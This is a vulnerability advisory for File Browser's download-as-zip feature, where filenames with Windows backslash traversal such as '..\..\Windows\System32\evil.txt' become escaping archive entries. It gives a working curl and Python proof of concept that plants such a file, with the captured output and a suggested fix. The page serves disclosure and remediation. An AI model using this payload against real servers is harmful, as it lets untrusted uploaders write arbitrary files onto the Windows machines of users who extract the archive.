Skip to content

GHSA-gxjx-7m74-hcq8 CVE-2026-54093 GO-2026-5411

File Browser: FilePath traversal in download-as-zip/tar via Windows-style backslash separators in stored filenames

Medium Go
Severity
0.0 / 10
Medium · CVSS 4.0
Exploit chance (EPSS)
0.19%
Chance of exploitation in the next 30 days. Higher than 9.02% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Fix
2.63.6
Upgrade github.com/filebrowser/filebrowser/v2 to this version or later

Description

Summary

filebrowser builds the download-as-zip / download-as-tar archive entry names with filepath.ToSlash, which on a Linux host is a no-op for backslashes (\ is only a path separator on Windows). A file whose name contains Windows-style traversal (..\..\..\evil.txt) is accepted by the resource handlers, stored on the Linux filesystem with a literal backslash name, and then emitted verbatim as the archive entry name. Windows extractors (Explorer, 7-Zip, WinRAR, .NET ZipFile.ExtractToDirectory) interpret \ as a path separator and write the extracted file outside the extraction directory — arbitrary file write on the victim who downloads and extracts the archive.

Details

http/raw.go getFiles() constructs the in-archive name and passes it to github.com/mholt/archives@v0.1.5:

nameInArchive := strings.TrimPrefix(path, commonPath)
nameInArchive = strings.TrimPrefix(nameInArchive, string(filepath.Separator))
nameInArchive = filepath.ToSlash(nameInArchive) // Linux no-op: ToSlash only rewrites '\' on Windows
archiveFiles = append(archiveFiles, archives.FileInfo{
    FileInfo:      info,
    NameInArchive: nameInArchive,
    Open:          func() (fs.File, error) { return d.user.Fs.Open(path) },
})

On Linux filepath.Separator == '/', so filepath.ToSlash leaves any literal backslash in the stored filename untouched. mholt/archives nameOnDiskToNameInArchive then writes that name verbatim into the zip/tar central directory.

The filename reaches the filesystem because the resource create path (http/resource.go resourcePostHandler) derives the name from r.URL.Path and cleans it with path.Clean("/" + ...), which treats only / as a separator. A URL-encoded backslash segment (%5C) therefore survives cleaning, and the file is created on the Linux FS with a literal \ in its name. Any user with the Create permission (the default for new users, and signup-enabled instances let anyone self-register) can plant such a file.

PoC

Deployed against the official image filebrowser/filebrowser:v2.63.5 (current release, 2026-05-21).

# 1. Deploy
docker volume create fb-srv-vol
docker run -d --name fb-poc -p 8088:80 -v fb-srv-vol:/srv filebrowser/filebrowser:v2.63.5
# wait for /health == 200; read the generated admin password from `docker logs fb-poc`
PW="<password from docker logs>"

# 2. Authenticate
TOK=$(curl -s -X POST http://localhost:8088/api/login \
  -H 'Content-Type: application/json' \
  -d "{\"username\":\"admin\",\"password\":\"$PW\"}")

# 3. Create a folder, then a file whose NAME is a Windows traversal payload (backslash = %5C)
curl -s -o /dev/null -w "mkdir=%{http_code}\n" \
  -X POST "http://localhost:8088/api/resources/evilzone/" -H "X-Auth: $TOK"
FNAME='..%5C..%5C..%5C..%5C..%5CWindows%5CSystem32%5Cevil.txt'
curl -s -o /dev/null -w "putfile=%{http_code}\n" \
  -X POST "http://localhost:8088/api/resources/evilzone/${FNAME}?override=true" \
  -H "X-Auth: $TOK" --data-binary 'PWNED-BY-TONGHUAROOT'

# 4. Download the folder as a zip and inspect the entry name
curl -s -o /tmp/fb_evil.zip "http://localhost:8088/api/raw/evilzone?algo=zip" -H "X-Auth: $TOK"
python3 - <<'PY'
import zipfile, binascii
z = zipfile.ZipFile('/tmp/fb_evil.zip')
print("entries:", [i.orig_filename for i in z.infolist()])
data = open('/tmp/fb_evil.zip','rb').read()
idx = data.find(b'PK\x01\x02')
print("central-dir hex:", binascii.hexlify(data[idx:idx+72]).decode())
print("contains 0x5c backslash byte:", b'\x5c' in data[idx:idx+200])
PY

Observed output (verbatim):

mkdir=200
putfile=200
entries: ['..\\..\\..\\..\\..\\Windows\\System32\\evil.txt']
central-dir hex: 504b01021403140008080000f002c25cc0fcca3f1400000014000000280009000000000000000000a081000000002e2e5c2e2e5c2e2e5c2e2e5c2e2e5c57696e646f77735c537973
contains 0x5c backslash byte: True

Server-side, the file exists with a literal backslash name:

-rw-r-----  1 user user  20  ..\..\..\..\..\Windows\System32\evil.txt

The central-directory hex tail 2e2e5c 2e2e5c 2e2e5c 2e2e5c 2e2e5c 57696e646f7773 5c 53797973... decodes to ..\..\..\..\..\Windows\Sys....

Negative control — a normal filename produces a clean entry, and a forward-slash traversal is correctly stripped by path.Clean:

safezone entries: ['normal.txt']
PUT ..%2F..%2Fevil2.txt  ->  HTTP 301  (collapsed by path.Clean; nothing escapes)

This proves / is handled but \ is the unhandled gap.

To observe the Windows-side traversal effect, extract fb_evil.zip on Windows:

Expand-Archive -Path .\fb_evil.zip -DestinationPath .\out -Force
# 7-Zip / WinRAR with default settings honor the ..\ parents and write outside .\out

Impact

Arbitrary file write (CWE-22) on any party who downloads a folder/selection as an archive from filebrowser and extracts it on Windows. The attacker is any authenticated user with Create permission (or an anonymous user on signup-enabled instances); the victim is typically an administrator or another user who is given access to the attacker's directory (e.g. via a share) and downloads it as a zip/tar. Because filebrowser is frequently deployed as a multi-user file server, this crosses a trust boundary: a low-privileged or untrusted uploader can plant files that compromise the machine of anyone who downloads and extracts the archive on Windows (e.g. writing to Startup folders or overwriting executables/config in the extraction root's parent tree).

Affected versions

All current versions through v2.63.5 (verified against the v2.63.5 release image). The filepath.ToSlash-based normalization in http/raw.go getFiles() is the root cause; github.com/mholt/archives@v0.1.5 passes the name through verbatim.

Suggested fix

Normalize Windows separators out of the in-archive name regardless of host OS, in http/raw.go getFiles() before constructing archives.FileInfo:

nameInArchive = filepath.ToSlash(nameInArchive)
nameInArchive = strings.ReplaceAll(nameInArchive, "\\", "/") // strip Windows separators on any host

Optionally also reject or sanitize filenames containing \ at create time in http/resource.go so backslash names cannot be stored at all. This mirrors the canonical fix for the equivalent Gotenberg issue, where POSIX-only filepath.Base likewise failed to strip backslashes on Linux.

Affected versions

Go

PackageVulnerableFixed in
github.com/filebrowser/filebrowser
<= 1.11.0
No fix yet
github.com/filebrowser/filebrowser
all versions
No fix yet
github.com/filebrowser/filebrowser/v2
< 2.63.6
2.63.6

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/filebrowser/filebrowser/v2 Go → 2.63.6

go
go get github.com/filebrowser/filebrowser/v2@v2.63.6 && go mod tidy

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:N/SI:H/SA:L

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
Low
User interaction
Passive
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
None
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
High
Availability (subsequent systems)
Low

Weakness

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

How to prevent it
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
  • Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
  • Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-833g-cqhp-h72j
File Browser: Share API exposes the password hash and bypass token
Low Also affects github.com/filebrowser/filebrowser
GHSA-83xp-526h-j3ww
File Browser: Archive builder turns backslash filenames into path traversal (zip-slip)
Medium Also affects github.com/filebrowser/filebrowser
GHSA-7rc3-g7h6-22m7
File Browser: Colliding username normalization gives two users the same home directory
High Also affects github.com/filebrowser/filebrowser
GHSA-8wc8-hf36-mjh9
File Browser: ScopedFs follows a dangling symlink on write, letting a scoped user create files outside their scope
Medium Also affects github.com/filebrowser/filebrowser
GHSA-fmm7-x4gx-8jhr
File Browser: Out-of-scope file deletion by a Create-only scoped user via symlink-following RemoveAll in upload failure-cleanup
High Also affects github.com/filebrowser/filebrowser
GHSA-xqp3-jq6g-x3qm
File Browser: Authentication Bypass via Proxy Auth Header Forgery
Critical Also affects github.com/filebrowser/filebrowser
GHSA-m93h-4hw7-5qcm
File Browser: Command Injection via Authentication Hook Shell Substitution (Pre-Authentication RCE)
Critical Also affects github.com/filebrowser/filebrowser
GHSA-8c9q-7855-wfxq
File Browser has a Command Execution Allowlist Bypass via Shell Metacharacter Injection
High Also affects github.com/filebrowser/filebrowser
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor